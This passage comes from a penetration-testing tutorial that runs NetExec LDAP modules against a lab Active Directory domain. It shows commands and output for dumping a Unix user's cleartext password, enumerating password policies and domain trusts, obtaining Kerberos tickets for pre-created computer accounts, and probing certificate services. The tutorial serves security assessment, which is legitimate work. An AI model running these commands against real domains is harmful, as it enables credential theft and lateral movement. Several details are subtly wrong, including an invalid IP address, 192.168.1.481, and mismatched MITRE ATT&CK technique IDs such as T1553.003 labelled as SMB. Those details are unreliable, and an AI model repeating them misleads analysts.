**Purpose:** This command retrieves passwords for Unix-based systems if integrated with AD. It is useful for assessing whether Unix accounts are vulnerable to attacks such as Pass-the-Hash.



nxc ldap 192.168.1.481 -M get-unixUserPassword

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 -M get-unixUserPassword
SMB      192.168.1.48 445 DC      [*] Windows 10 / Server 2019 Build 17763 x64 (na
LDAP     192.168.1.48 389 DC      [+] ignite.local\raj:Password@1
GET-UNIX ... 192.168.1.48 389 DC      [+] Found following users:
GET-UNIX ... 192.168.1.48 389 DC      User: aarti unixUserPassword: ['Admin@123987']
```

MITRE ATT&CK Mapping:

T1003.003 – OS Credential Dumping: Unix.

## Password Settings Objects (PSO)

**Purpose:** This command retrieves the **Password Settings Objects (PSO)**, which are used to define password policies in AD. If misconfigured, these could allow an attacker to bypass certain password requirements.

nxc ldap 192.168.1.48 -u administrator -p Ignite@987 -M pso

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u administrator -p Ignite@987 -M pso
SMB      192.168.1.48 445 DC      [*] Windows 10 / Server 2019 Build 17763 x64 (r
LDAP     192.168.1.48 389 DC      [+] ignite.local\administrator:Ignite@987 (Pwn3
PSO      192.168.1.48 389 DC      [+] Attempting to enumerate policies ...
PSO      192.168.1.48 389 DC      2 PSO Objects found!
PSO      192.168.1.48 389 DC
PSO      192.168.1.48 389 DC      [+] Attempting to enumerate objects with an app
PSO      192.168.1.48 389 DC      [+] Attempting to enumerate details ...
PSO      192.168.1.48 389 DC      Policy Name: HR Password Policy
PSO      192.168.1.48 389 DC      Minimum Password Length: 7
PSO      192.168.1.48 389 DC      Minimum Password History Length: 24
PSO      192.168.1.48 389 DC      Lockout Threshold: 0
PSO      192.168.1.48 389 DC      Observation Window: 30 minutes
PSO      192.168.1.48 389 DC      Lockout Duration: 30 minutes
PSO      192.168.1.48 389 DC      Complexity Enabled: TRUE
PSO      192.168.1.48 389 DC      Minimum Password Age: 1 days
PSO      192.168.1.48 389 DC      Maximum Password Age: 42 days
PSO      192.168.1.48 389 DC      Reversible Encryption: FALSE
PSO      192.168.1.48 389 DC      Precedence: 10 (Lower is Higher Priority)
PSO      192.168.1.48 389 DC      Policy Applies to:
PSO      192.168.1.48 389 DC
PSO      192.168.1.48 389 DC      Policy Name: Sales Group Policy
PSO      192.168.1.48 389 DC      Minimum Password Length: 15
PSO      192.168.1.48 389 DC      Minimum Password History Length: 24
PSO      192.168.1.48 389 DC      Lockout Threshold: 3
PSO      192.168.1.48 389 DC      Observation Window: 30 minutes
PSO      192.168.1.48 389 DC      Lockout Duration: 30 minutes
PSO      192.168.1.48 389 DC      Complexity Enabled: TRUE
PSO      192.168.1.48 389 DC      Minimum Password Age: 1 days
PSO      192.168.1.48 389 DC      Maximum Password Age: 42 days
PSO      192.168.1.48 389 DC      Reversible Encryption: FALSE
PSO      192.168.1.48 389 DC      Precedence: 11 (Lower is Higher Priority)
PSO      192.168.1.48 389 DC      Policy Applies to:
PSO      192.168.1.48 389 DC
```

MITRE ATT&CK Mapping:

T1071 – Application Layer Protocol: LDAP (retrieving password policies).

## Trusts Enumeration

**Purpose:** Enumerates trust relationships between different domains, which can be useful for lateral movement and attacking interconnected domains.

nxc ldap 192.168.1.481 -M enum\_trusts

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 -M enum_trusts
SMB      192.168.1.48      445      DC      [*] Windows 10 / Server 2019 Build 17763 x64
LDAP     192.168.1.48      389      DC      [+] ignite.local\raj:Password@1
ENUM_TRUSTS 192.168.1.48      389      DC      [+] Found the following trust relationships:
ENUM_TRUSTS 192.168.1.48      389      DC      ignitelab.local → Bidirectional → Other
```

**MITRE ATT&CK Mapping:**

**T1076** – Remote Desktop Protocol (RDP) (used for lateral movement once trust relationships are identified).

## Identifying Pre-Created Computer Accounts

**Purpose:** This command identifies pre-created computer accounts that could be used for bypassing security controls or creating rogue machines on the network.

nxc ldap 192.168.1.481 -M pre2k

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 -M pre2k
SMB      192.168.1.48      445      DC      [*] Windows 10 / Server 2019 Build 17763 x64
LDAP     192.168.1.48      389      DC      [+] ignite.local\raj:Password@1
PRE2K    192.168.1.48      389      DC      Pre-created computer account: DEMO$
PRE2K    192.168.1.48      389      DC      Pre-created computer account: PC1$
PRE2K    192.168.1.48      389      DC      [+] Found 2 pre-created computer accounts. Sa
PRE2K    192.168.1.48      389      DC      [+] Successfully obtained TGT for demo@ignite
PRE2K    192.168.1.48      389      DC      [+] Successfully obtained TGT for pc1@ignite.
PRE2K    192.168.1.48      389      DC      [+] Successfully obtained TGT for 2 pre-creat
```

**MITRE ATT&CK Mapping:**

**T1077** – Windows Admin Shares.

## Active Directory Certificate Services (ADCS)

**Purpose:** ADCS can be exploited to issue certificates for unauthorized machines. This command checks for misconfigurations or exploitable configurations within ADCS.

nxc ldap 192.168.1.481 -M adcs

```
(root@kali)-[~]
# nxc ldap 192.168.1.48 -u raj -p Password@1 -M adcs
SMB      192.168.1.48      445      DC      [*] Windows 10 / Server 2019 Build 17763 x64
LDAP     192.168.1.48      389      DC      [+] ignite.local\raj:Password@1
ADCS     192.168.1.48      389      DC      [*] Starting LDAP search with search filter '
ADCS     192.168.1.48      389      DC      Found PKI Enrollment Server: DC.ignite.local
ADCS     192.168.1.48      389      DC      Found CN: ignite-DC-CA
```

**MITRE ATT&CK Mapping:**

**T1553.003** – Application Layer Protocol: SMB.

## Conclusion

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The Active Directory Pentesting Using Netexec approach provides a command-based methodology for AD pentesting. Consequently, it can help identify misconfigurations, discover critical attack paths, and validate vulnerabilities. This tool plays a crucial role in the process of assessing the security posture of an Active Directory environment and can be used for both red team operations and vulnerability assessments.

By understanding the purpose and usage of each Netexec command, penetration testers can effectively map their attacks to the MITRE ATT&CK framework, ensuring that the assessment is thorough and aligned with industry-standard tactics, techniques, and procedures (TTPs).

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